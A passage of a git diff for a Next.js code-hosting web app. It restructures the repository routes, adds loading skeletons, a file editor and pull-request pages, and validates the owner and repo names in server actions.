if (!r.ok) return { error: r.message || "Could not set the packages." }; + revalidatePath(`/${owner}/workspaces`); + return { ok: true }; +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/workspaces/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/workspaces/loading.tsx new file mode 100644 index 00000000..13f9a822 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/workspaces/loading.tsx @@ -0,0 +1,13 @@ +import { ListBones, Skeleton, ToolbarBones } from "@/components/app/skeleton"; + +/** A filterable list: the search/tabs/button toolbar, then the bordered list. No heading — the + * tab row above is the heading. Per route rather than one file at the `(org)` level, because + * Next uses the NEAREST loading.tsx and a group-level one would shadow this for every child. */ +export default function Loading() { + return ( + + + + + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/workspaces/page.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/workspaces/page.tsx new file mode 100644 index 00000000..4ebb512e --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/workspaces/page.tsx @@ -0,0 +1,31 @@ +import { notFound, redirect } from "next/navigation"; +import { getSession } from "@/lib/session"; +import { apiToken } from "@/lib/api-token"; +import { listWorkspaces } from "@/lib/api"; +import { WorkspaceList } from "@/components/app/workspace-list"; + +/** Same guard shape as the repos org page: identity here, access left to the api. */ +export default async function Page({ params }: { params: Promise<{ owner: string }> }) { + const { owner } = await params; + const session = await getSession(); + if (!session) redirect("/login"); + if (!session.user.username) redirect("/welcome"); + + const token = await apiToken(); + if (!token) redirect("/login"); + + // The URL's owner is the team when it is not the person themselves; the api decides + // membership and answers 404 for a team they are not in. + const list = await listWorkspaces(token, owner === session.user.owner ? undefined : owner); + if (!list.ok) { + if (list.kind === "unauthorized") redirect("/login?from=expired"); + if (list.kind === "notFound") notFound(); + throw new Error(list.message); + } + + return ( +
+ +
+ ); +} diff --git a/web/apps/web/src/app/[owner]/[repo]/actions/page.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/actions/page.tsx similarity index 100% rename from web/apps/web/src/app/[owner]/[repo]/actions/page.tsx rename to web/apps/web/src/app/(shell)/[owner]/[repo]/actions/page.tsx diff --git a/web/apps/web/src/app/[owner]/[repo]/blob/[...path]/page.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/blob/[...path]/page.tsx similarity index 88% rename from web/apps/web/src/app/[owner]/[repo]/blob/[...path]/page.tsx rename to web/apps/web/src/app/(shell)/[owner]/[repo]/blob/[...path]/page.tsx index 586e9f66..450045f7 100644 --- a/web/apps/web/src/app/[owner]/[repo]/blob/[...path]/page.tsx +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/blob/[...path]/page.tsx @@ -1,5 +1,5 @@ import { FileView } from "@/components/repo/file-view"; -import { guardRepo } from "@/app/[owner]/[repo]/guard"; +import { guardRepo } from "@/app/(shell)/[owner]/[repo]/guard"; export default async function Page({ params, diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/commit/[sha]/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/commit/[sha]/loading.tsx new file mode 100644 index 00000000..7efbd61d --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/commit/[sha]/loading.tsx @@ -0,0 +1,31 @@ +import { Bone, Skeleton } from "@/components/app/skeleton"; + +/** diff.tsx: back link, the commit card (message, meta strip), then file diffs. */ +export default function Loading() { + return ( + + +
+
+ + +
+
+ + + +
+
+ {/* "N files changed" — 20px on mt-6, then the first diff on mt-3. */} + + {[0, 1].map((i) => ( +
+
+
+ {Array.from({ length: 6 }, (_, j) => )} +
+
+ ))} + + ); +} diff --git a/web/apps/web/src/app/[owner]/[repo]/commit/[sha]/page.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/commit/[sha]/page.tsx similarity index 84% rename from web/apps/web/src/app/[owner]/[repo]/commit/[sha]/page.tsx rename to web/apps/web/src/app/(shell)/[owner]/[repo]/commit/[sha]/page.tsx index 9d4ec5ef..77f32eea 100644 --- a/web/apps/web/src/app/[owner]/[repo]/commit/[sha]/page.tsx +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/commit/[sha]/page.tsx @@ -1,5 +1,5 @@ import { DiffView } from "@/components/repo/diff"; -import { guardRepo } from "@/app/[owner]/[repo]/guard"; +import { guardRepo } from "@/app/(shell)/[owner]/[repo]/guard"; export default async function Page({ params }: { params: Promise<{ owner: string; repo: string; sha: string }> }) { const { owner, repo, sha } = await params; diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/commits/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/commits/loading.tsx new file mode 100644 index 00000000..5caa77a2 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/commits/loading.tsx @@ -0,0 +1,35 @@ +import { Bone, Skeleton } from "@/components/app/skeleton"; + +/** commits.tsx: the ref picker, then commits grouped under an 18px day heading on `mt-6` + * (lands at 180), each list at `mt-3` (210) with 71px `px-5 py-3.5` rows. */ +export function CommitRows({ rows }: { rows: number }) { + return ( +
+ {Array.from({ length: rows }, (_, i) => ( +
+ + +
+ ))} +
+ ); +} + +export default function Loading() { + return ( + +
+ + +
+
+ {[3, 2].map((n, i) => ( +
+ +
+
+ ))} +
+ + ); +} diff --git a/web/apps/web/src/app/[owner]/[repo]/commits/page.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/commits/page.tsx similarity index 87% rename from web/apps/web/src/app/[owner]/[repo]/commits/page.tsx rename to web/apps/web/src/app/(shell)/[owner]/[repo]/commits/page.tsx index e0e1578c..6325f7f2 100644 --- a/web/apps/web/src/app/[owner]/[repo]/commits/page.tsx +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/commits/page.tsx @@ -1,5 +1,5 @@ import { CommitsView } from "@/components/repo/commits"; -import { guardRepo } from "@/app/[owner]/[repo]/guard"; +import { guardRepo } from "@/app/(shell)/[owner]/[repo]/guard"; export default async function Page({ params, diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/edit/[...path]/page.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/edit/[...path]/page.tsx new file mode 100644 index 00000000..e507ab28 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/edit/[...path]/page.tsx @@ -0,0 +1,50 @@ +import { notFound, redirect } from "next/navigation"; +import { FileEditor } from "@/components/repo/file-editor"; +import { guardRepo } from "@/app/(shell)/[owner]/[repo]/guard"; +import { blob, decodeBlob, refs, resolveRef, shortRef } from "@/lib/browse"; +import { pathHref } from "@/lib/utils"; + +export default async function Page({ + params, + searchParams, +}: { + params: Promise<{ owner: string; repo: string; path: string[] }>; + searchParams: Promise<{ ref?: string }>; +}) { + const { owner, repo, path } = await params; + const { token } = await guardRepo(owner, repo); + const { ref } = await searchParams; + const file = path.join("/"); + + const all = await refs(token, owner, repo); + if (!all.ok) throw new Error(all.message); + const head = resolveRef(all.value, ref); + if (!head) throw new Error("this repo has no branches"); + const branch = shortRef(head.name); + + // Editing is editing a BRANCH. A tag or a bare commit has nothing to move, so + // there is nowhere for the edit to land. + if (head.kind !== "branch") redirect(`/${owner}/${repo}/blob/${pathHref(file)}?ref=${encodeURIComponent(branch)}`); + + const b = await blob(token, owner, repo, head.oid, file); + if (!b.ok) notFound(); + const decoded = decodeBlob(b.value); + // Binary is not text, and a textarea would turn it into mojibake and commit + // that. Say so where they clicked rather than opening an editor that corrupts. + if (decoded.binary || b.value.truncated) { + redirect(`/${owner}/${repo}/blob/${pathHref(file)}?ref=${encodeURIComponent(branch)}`); + } + + return ( + + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/edit/actions.ts b/web/apps/web/src/app/(shell)/[owner]/[repo]/edit/actions.ts new file mode 100644 index 00000000..7c614a95 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/edit/actions.ts @@ -0,0 +1,65 @@ +"use server"; + +import { revalidatePath } from "next/cache"; +import { redirect } from "next/navigation"; +import { apiToken } from "@/lib/api-token"; +import * as api from "@/lib/api"; +// `owner` and `repo` reach every action below as FormData, and go straight into a +// revalidatePath PATTERN. A segment carrying `/` or `..` would silently revalidate something +// else, so each action refuses it — a bad one is never a real submission, since the pages that +// render these forms fill both fields from the route params. +import { safeRepoPath } from "@/lib/slug"; +import { pathHref } from "@/lib/utils"; + +export type EditState = { error?: string } | null; + +/** Commit an edited file. + * + * The choice of where it lands is the form's: onto the branch being viewed, or + * onto a new one so it can be reviewed first. Everything else -- who the author + * is, whether the branch moved, whether protection allows it -- is decided by + * the server, which is why none of it is sent from here. */ +export async function commitFile(_prev: EditState, formData: FormData): Promise { + const slug = safeRepoPath(String(formData.get("owner") ?? ""), String(formData.get("repo") ?? "")); + if (!slug) return { error: "That repository name is not valid." }; + const { owner, repo } = slug; + const branch = String(formData.get("branch") ?? ""); + const path = String(formData.get("path") ?? ""); + const expect = String(formData.get("expect") ?? "") || undefined; + const content = String(formData.get("content") ?? ""); + const target = String(formData.get("target") ?? "here"); + const newBranch = String(formData.get("newBranch") ?? "").trim(); + + const message = + String(formData.get("message") ?? "").trim() || `Update ${path.split("/").pop() ?? path}`; + + if (target === "branch" && !newBranch) return { error: "Name the new branch." }; + if (target === "branch" && newBranch === branch) { + return { error: "That is the branch you are already on." }; + } + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + + // A textarea gives back a JS string; the server wants the file's bytes. UTF-8 + // first, so anything outside Latin-1 survives the trip. + const contentBase64 = Buffer.from(content, "utf8").toString("base64"); + + const r = await api.commitPatch(token, owner, repo, { + branch, + message, + expect, + newBranch: target === "branch" ? newBranch : undefined, + changes: [{ path, contentBase64 }], + }); + if (!r.ok) return { error: r.message || "Could not commit." }; + + const landed = r.value.branch; + revalidatePath(`/${owner}/${repo}`, "layout"); + // Onto a new branch, the next thing anyone wants is the pull request -- that is + // why they chose a branch rather than committing here. + if (target === "branch") { + redirect(`/${owner}/${repo}/pulls/new?base=${encodeURIComponent(branch)}&head=${encodeURIComponent(landed)}`); + } + redirect(`/${owner}/${repo}/blob/${pathHref(path)}?ref=${encodeURIComponent(landed)}`); +} diff --git a/web/apps/web/src/app/[owner]/[repo]/guard.ts b/web/apps/web/src/app/(shell)/[owner]/[repo]/guard.ts similarity index 76% rename from web/apps/web/src/app/[owner]/[repo]/guard.ts rename to web/apps/web/src/app/(shell)/[owner]/[repo]/guard.ts index e42ee16c..4ead8f9c 100644 --- a/web/apps/web/src/app/[owner]/[repo]/guard.ts +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/guard.ts @@ -3,7 +3,7 @@ import { cache } from "react"; import { notFound, redirect } from "next/navigation"; import { getSession } from "@/lib/session"; import { apiToken } from "@/lib/api-token"; -import { listRepos, type ApiRepo } from "@/lib/api"; +import { getRepo, type ApiRepo } from "@/lib/api"; import type { Session } from "@/lib/session"; export type RepoContext = { @@ -31,16 +31,13 @@ export const guardRepo = cache(async function guardRepo( const token = await apiToken(); if (!token) redirect("/login"); - const list = await listRepos(token, owner); - if (!list.ok) { + const one = await getRepo(token, owner, repo); + if (!one.ok) { // `unauthorized` is the api refusing our token, not a missing repo. Treating // it as 404 made an expired session look like every repo had been deleted. - if (list.kind === "unauthorized") redirect("/login?from=expired"); - if (list.kind === "notFound") notFound(); - throw new Error(list.message); + if (one.kind === "unauthorized") redirect("/login?from=expired"); + if (one.kind === "notFound") notFound(); + throw new Error(one.message); } - const meta = list.value.find((r) => r.name === repo); - if (!meta) notFound(); - - return { session, owner, repo, meta, token }; + return { session, owner, repo, meta: one.value, token }; }); diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/issues/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/issues/loading.tsx new file mode 100644 index 00000000..36e6b656 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/issues/loading.tsx @@ -0,0 +1,11 @@ +import { Bone, Skeleton } from "@/components/app/skeleton"; + +/** `NotYet`: a title, then one centred placeholder card (`px-5 py-14`). */ +export default function Loading() { + return ( + + +
+ + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/issues/page.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/issues/page.tsx new file mode 100644 index 00000000..61f0a3b2 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/issues/page.tsx @@ -0,0 +1,8 @@ +import { NotYet } from "@/components/app/not-yet"; +import { guardRepo } from "@/app/(shell)/[owner]/[repo]/guard"; + +export default async function Page({ params }: { params: Promise<{ owner: string; repo: string }> }) { + const { owner, repo } = await params; + await guardRepo(owner, repo); + return Issues are not available yet.; +} diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/layout.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/layout.tsx new file mode 100644 index 00000000..770f75a0 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/layout.tsx @@ -0,0 +1,31 @@ +import { SetRepoMeta } from "@/components/app/shell-context"; +import { guardRepo } from "./guard"; + +/** + * Every repo route, in one place. + * + * The chrome is NOT here: one shell wraps every signed-in page and stays mounted + * across all of them, which is what lets the tab row slide rather than reappear. + * What this layout owns is the page frame, and telling that shell the one thing + * it cannot read off the URL — whether this repo is public. + * + * `guardRepo` is cached per request, so resolving the repo here costs the page + * beneath nothing, and refusing here means no page under it has to check. + */ +export default async function RepoLayout({ + params, + children, +}: { + params: Promise<{ owner: string; repo: string }>; + children: React.ReactNode; +}) { + const { owner, repo } = await params; + const { meta } = await guardRepo(owner, repo); + + return ( + <> + +
{children}
+ + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/loading.tsx new file mode 100644 index 00000000..00115f3f --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/loading.tsx @@ -0,0 +1,42 @@ +import { Bone, Skeleton } from "@/components/app/skeleton"; + +/** The code view — `/{owner}/{repo}`, `/tree/…`, `/blob/…`: ref picker and actions, the path + * crumb, then the listing beside the README rail on `grid-cols-code-rail`. The routes with a + * different shape (commits, pulls, a pull, a commit, settings) carry their own. */ +export default function Loading() { + return ( + +
+
+
+ + + +
+ + {/* The listing card: a 45px latest-commit header, then 37px `py-2` file rows. */} +
+
+ + + +
+ {Array.from({ length: 6 }, (_, i) => ( +
+ + + +
+ ))} +
+
+ +
+ + ); +} diff --git a/web/apps/web/src/app/[owner]/[repo]/page.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/page.tsx similarity index 100% rename from web/apps/web/src/app/[owner]/[repo]/page.tsx rename to web/apps/web/src/app/(shell)/[owner]/[repo]/page.tsx diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/commits/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/commits/loading.tsx new file mode 100644 index 00000000..62b620fc --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/commits/loading.tsx @@ -0,0 +1,13 @@ +import { Bone, Skeleton } from "@/components/app/skeleton"; +import { CommitRows } from "@/app/(shell)/[owner]/[repo]/commits/loading"; + +/** A pull's commits, below the layout's header: a 20px day heading on `mt-6` and the + * commit list on `mt-2`. The conversation skeleton's aside grid does not belong here. */ +export default function Loading() { + return ( + + +
+ + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/commits/page.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/commits/page.tsx new file mode 100644 index 00000000..a158d9b3 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/commits/page.tsx @@ -0,0 +1,15 @@ +import { PullCommits } from "@/components/repo/pull-commits"; +import { guardRepo } from "@/app/(shell)/[owner]/[repo]/guard"; +import { pullData } from "../pull-data"; + +export default async function Page({ + params, +}: { + params: Promise<{ owner: string; repo: string; number: string }>; +}) { + const { owner, repo, number } = await params; + const { token } = await guardRepo(owner, repo); + const { comparison } = await pullData(token, owner, repo, Number(number)); + + return ; +} diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/files/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/files/loading.tsx new file mode 100644 index 00000000..ac7050d9 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/files/loading.tsx @@ -0,0 +1,29 @@ +import { Bone, Skeleton } from "@/components/app/skeleton"; + +/** A pull's files, below the layout's header: `lg:grid-cols-code` — the file tree on the + * LEFT (260px, sticky) and the diffs on the right. The conversation skeleton puts a 320px + * aside on the right, so sharing it moved every diff by the width of two columns. */ +export default function Loading() { + return ( + +
+ +
+ {[0, 1].map((i) => ( +
+
+
+ {Array.from({ length: 6 }, (_, j) => )} +
+
+ ))} +
+
+ + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/files/page.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/files/page.tsx new file mode 100644 index 00000000..530b18e7 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/files/page.tsx @@ -0,0 +1,17 @@ +import { PullFiles } from "@/components/repo/pull-files"; +import { guardRepo } from "@/app/(shell)/[owner]/[repo]/guard"; +import { pullData } from "../pull-data"; + +export default async function Page({ + params, +}: { + params: Promise<{ owner: string; repo: string; number: string }>; +}) { + const { owner, repo, number } = await params; + const { token } = await guardRepo(owner, repo); + const { pull, diff } = await pullData(token, owner, repo, Number(number)); + + // The pull's head branch: the diff is what that branch brings, so that is where + // its files can actually be read. + return ; +} diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/layout.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/layout.tsx new file mode 100644 index 00000000..d0a52317 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/layout.tsx @@ -0,0 +1,30 @@ +import { BackLink } from "@/components/repo/back-link"; +import { PullHeader } from "@/components/repo/pull-page"; +import { guardRepo } from "@/app/(shell)/[owner]/[repo]/guard"; +import { pullData } from "./pull-data"; + +/** The header lives here rather than in each of the three tabs so it is not + * re-mounted on every switch — that is what made the underline blink instead of + * slide. `guardRepo` and `pullData` are both `cache()`d, so the pages below still + * call `pullData` for their bodies and share this one read. */ +export default async function Layout({ + children, + params, +}: { + children: React.ReactNode; + params: Promise<{ owner: string; repo: string; number: string }>; +}) { + const { owner, repo, number } = await params; + const { token } = await guardRepo(owner, repo); + const { pull, counts, diff } = await pullData(token, owner, repo, Number(number)); + + return ( +
+ Pull requests +
+ +
+ {children} +
+ ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/loading.tsx new file mode 100644 index 00000000..2ec6fa16 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/loading.tsx @@ -0,0 +1,33 @@ +import { Bone, Skeleton } from "@/components/app/skeleton"; + +/** The conversation BODY only: the back link and the header live in the segment's + * layout, which sits above this boundary and is already painted when it shows. + * The body is the conversation beside its sidebar on `grid-cols-overview`. */ +export default function Loading() { + return ( + +
+
+ {[0, 1].map((i) => ( +
+
+ + +
+
+ + +
+
+ ))} +
+ +
+ + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/page.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/page.tsx new file mode 100644 index 00000000..ff7f9bef --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/page.tsx @@ -0,0 +1,15 @@ +import { PullConversation } from "@/components/repo/pull-conversation"; +import { guardRepo } from "@/app/(shell)/[owner]/[repo]/guard"; +import { pullData } from "./pull-data"; + +export default async function Page({ + params, +}: { + params: Promise<{ owner: string; repo: string; number: string }>; +}) { + const { owner, repo, number } = await params; + const { token } = await guardRepo(owner, repo); + const { pull } = await pullData(token, owner, repo, Number(number)); + + return ; +} diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/pull-data.ts b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/pull-data.ts new file mode 100644 index 00000000..c751b24d --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/pull-data.ts @@ -0,0 +1,42 @@ +import { cache } from "react"; +import { notFound } from "next/navigation"; +import { compareBranches, getPull } from "@/lib/api"; +import { parseDiff } from "@/lib/diff"; + +/** + * Everything the three PR tabs share. + * + * `cache` so the header's counts and the tab's own body come from ONE read: the + * three tabs are three routes, and without this each would compare the branches + * again to draw the same numbers. + * + * The description and the conversation come from the directory; the commits and + * the diff are read from git RIGHT NOW, against the two branches the change + * names. That is why a push updates a PR without anything having to write to it + * -- and why a merged PR still shows what it contained. + */ +export const pullData = cache( + async (token: string, owner: string, repo: string, number: number) => { + const pull = await getPull(token, owner, repo, number); + if (!pull.ok) { + if (pull.kind === "notFound") notFound(); + throw new Error(pull.message); + } + const pr = pull.value; + + const cmp = await compareBranches(token, owner, repo, pr.base, pr.head); + const comparison = cmp.ok ? cmp.value : null; + const diff = comparison ? parseDiff(comparison.diff) : null; + + return { + pull: pr, + comparison, + diff, + counts: { + comments: (pr.comments ?? []).length, + commits: comparison ? comparison.commits.length : null, + files: diff ? diff.files.length : null, + }, + }; + }, +); diff --git a/web/apps/web/src/app/[owner]/[repo]/pulls/actions.ts b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/actions.ts similarity index 63% rename from web/apps/web/src/app/[owner]/[repo]/pulls/actions.ts rename to web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/actions.ts index 4d19357a..a919f02e 100644 --- a/web/apps/web/src/app/[owner]/[repo]/pulls/actions.ts +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/actions.ts @@ -4,12 +4,18 @@ import { revalidatePath } from "next/cache"; import { redirect } from "next/navigation"; import { apiToken } from "@/lib/api-token"; import * as api from "@/lib/api"; +// `owner` and `repo` reach every action below as FormData, and go straight into a +// revalidatePath PATTERN. A segment carrying `/` or `..` would silently revalidate something +// else, so each action refuses it — a bad one is never a real submission, since the pages that +// render these forms fill both fields from the route params. +import { safeRepoPath } from "@/lib/slug"; export type PullState = { error?: string } | null; export async function openPull(_prev: PullState, formData: FormData): Promise { - const owner = String(formData.get("owner") ?? ""); - const repo = String(formData.get("repo") ?? ""); + const slug = safeRepoPath(String(formData.get("owner") ?? ""), String(formData.get("repo") ?? "")); + if (!slug) return { error: "That repository name is not valid." }; + const { owner, repo } = slug; const base = String(formData.get("base") ?? "").trim(); const head = String(formData.get("head") ?? "").trim(); const title = String(formData.get("title") ?? "").trim(); @@ -28,8 +34,9 @@ export async function openPull(_prev: PullState, formData: FormData): Promise { - const owner = String(formData.get("owner") ?? ""); - const repo = String(formData.get("repo") ?? ""); + const slug = safeRepoPath(String(formData.get("owner") ?? ""), String(formData.get("repo") ?? "")); + if (!slug) return { error: "That repository name is not valid." }; + const { owner, repo } = slug; const number = Number(formData.get("number")); const body = String(formData.get("body") ?? "").trim(); if (!body) return { error: "Say something." }; @@ -47,8 +54,9 @@ export async function comment(_prev: PullState, formData: FormData): Promise { - const owner = String(formData.get("owner") ?? ""); - const repo = String(formData.get("repo") ?? ""); + const slug = safeRepoPath(String(formData.get("owner") ?? ""), String(formData.get("repo") ?? "")); + if (!slug) return { error: "That repository name is not valid." }; + const { owner, repo } = slug; const number = Number(formData.get("number")); const token = await apiToken(); @@ -63,12 +71,15 @@ export async function merge(_prev: PullState, formData: FormData): Promise { + const slug = safeRepoPath(String(formData.get("owner") ?? ""), String(formData.get("repo") ?? "")); + if (!slug) return { error: "That repository name is not valid." }; + const { owner, repo } = slug; const number = Number(formData.get("number")); const token = await apiToken(); - if (!token) return; - await api.closePull(token, owner, repo, number); + if (!token) return { error: "Your session has expired. Sign in again." }; + const r = await api.closePull(token, owner, repo, number); + if (!r.ok) return { error: r.message || "Could not close the change." }; revalidatePath(`/${owner}/${repo}/pulls/${number}`); + return null; } diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/loading.tsx new file mode 100644 index 00000000..16062575 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/loading.tsx @@ -0,0 +1,14 @@ +import { Bone, ListBones, Skeleton } from "@/components/app/skeleton"; + +/** pulls.tsx: title with the New button at the far end, then the list. */ +export default function Loading() { + return ( + +
+ + +
+ + + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/new/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/new/loading.tsx new file mode 100644 index 00000000..fbc92e9b --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/new/loading.tsx @@ -0,0 +1,20 @@ +import { Bone, Skeleton } from "@/components/app/skeleton"; + +/** new-pull-form.tsx: title, the base→compare strip, title field, body, submit. */ +export default function Loading() { + return ( + + +
+
+
+ +
+
+ + + +
+ + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/new/page.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/new/page.tsx new file mode 100644 index 00000000..daec1394 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/new/page.tsx @@ -0,0 +1,56 @@ +import Link from "next/link"; +import { GitBranch } from "lucide-react"; +import { Button } from "@/components/ui/button"; +import { NewPullForm } from "@/components/repo/new-pull-form"; +import { guardRepo } from "@/app/(shell)/[owner]/[repo]/guard"; +import { defaultBranch, refs, shortRef } from "@/lib/browse"; + +export default async function Page({ + params, + searchParams, +}: { + params: Promise<{ owner: string; repo: string }>; + searchParams: Promise<{ base?: string; head?: string }>; +}) { + const { owner, repo } = await params; + const { token } = await guardRepo(owner, repo); + const { base, head } = await searchParams; + + const all = await refs(token, owner, repo); + if (!all.ok) throw new Error(all.message); + const branches = all.value.filter((r) => r.kind === "branch").map((r) => shortRef(r.name)); + // Nothing to propose between: a repo with one branch has no second side. Say + // so rather than redirecting — bouncing silently back to the list is what a + // broken link looks like, and the reader is left thinking the page is missing. + if (branches.length < 2) { + return ( +
+

New pull request

+
+ +

+ {branches.length === 1 ? `Only one branch` : `No branches yet`} +

+

+ A pull request proposes one branch onto another, so this repository + needs a second one. Push a branch and it will show up here. +

+ +
+
+ ); + } + + const fallback = defaultBranch(all.value); + return ( + b !== (fallback ? shortRef(fallback.name) : branches[0])) ?? branches[1]} + /> + ); +} diff --git a/web/apps/web/src/app/[owner]/[repo]/pulls/page.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/page.tsx similarity index 83% rename from web/apps/web/src/app/[owner]/[repo]/pulls/page.tsx rename to web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/page.tsx index 5aad70da..c3f9aa37 100644 --- a/web/apps/web/src/app/[owner]/[repo]/pulls/page.tsx +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/page.tsx @@ -1,5 +1,5 @@ import { PullsView } from "@/components/repo/pulls"; -import { guardRepo } from "@/app/[owner]/[repo]/guard"; +import { guardRepo } from "@/app/(shell)/[owner]/[repo]/guard"; export default async function Page({ params }: { params: Promise<{ owner: string; repo: string }> }) { const { owner, repo } = await params; diff --git a/web/apps/web/src/app/[owner]/[repo]/settings/actions.ts b/web/apps/web/src/app/(shell)/[owner]/[repo]/settings/actions.ts similarity index 55% rename from web/apps/web/src/app/[owner]/[repo]/settings/actions.ts rename to web/apps/web/src/app/(shell)/[owner]/[repo]/settings/actions.ts index f256546a..ad173b68 100644 --- a/web/apps/web/src/app/[owner]/[repo]/settings/actions.ts +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/settings/actions.ts @@ -4,12 +4,18 @@ import { revalidatePath } from "next/cache"; import { redirect } from "next/navigation"; import { apiToken } from "@/lib/api-token"; import * as api from "@/lib/api"; +// `owner` and `repo` reach every action below as FormData, and go straight into a +// revalidatePath PATTERN. A segment carrying `/` or `..` would silently revalidate something +// else, so each action refuses it — a bad one is never a real submission, since the pages that +// render these forms fill both fields from the route params. +import { safeRepoPath } from "@/lib/slug"; export type SettingsState = { ok?: true; error?: string } | null; export async function saveDescription(_prev: SettingsState, formData: FormData): Promise { - const owner = String(formData.get("owner") ?? ""); - const repo = String(formData.get("repo") ?? ""); + const slug = safeRepoPath(String(formData.get("owner") ?? ""), String(formData.get("repo") ?? "")); + if (!slug) return { error: "That repository name is not valid." }; + const { owner, repo } = slug; const description = String(formData.get("description") ?? ""); const token = await apiToken(); @@ -22,8 +28,9 @@ export async function saveDescription(_prev: SettingsState, formData: FormData): } export async function setVisibility(_prev: SettingsState, formData: FormData): Promise { - const owner = String(formData.get("owner") ?? ""); - const repo = String(formData.get("repo") ?? ""); + const slug = safeRepoPath(String(formData.get("owner") ?? ""), String(formData.get("repo") ?? "")); + if (!slug) return { error: "That repository name is not valid." }; + const { owner, repo } = slug; const visibility = formData.get("visibility") === "public" ? "public" : "private"; const token = await apiToken(); @@ -34,13 +41,14 @@ export async function setVisibility(_prev: SettingsState, formData: FormData): P // The badge in the chrome and in every listing reads this, so the whole repo // subtree is revalidated rather than just this page. revalidatePath(`/${owner}/${repo}`, "layout"); - revalidatePath(`/${owner}`); + revalidatePath(`/${owner}/repos`); return { ok: true }; } export async function addRule(_prev: SettingsState, formData: FormData): Promise { - const owner = String(formData.get("owner") ?? ""); - const repo = 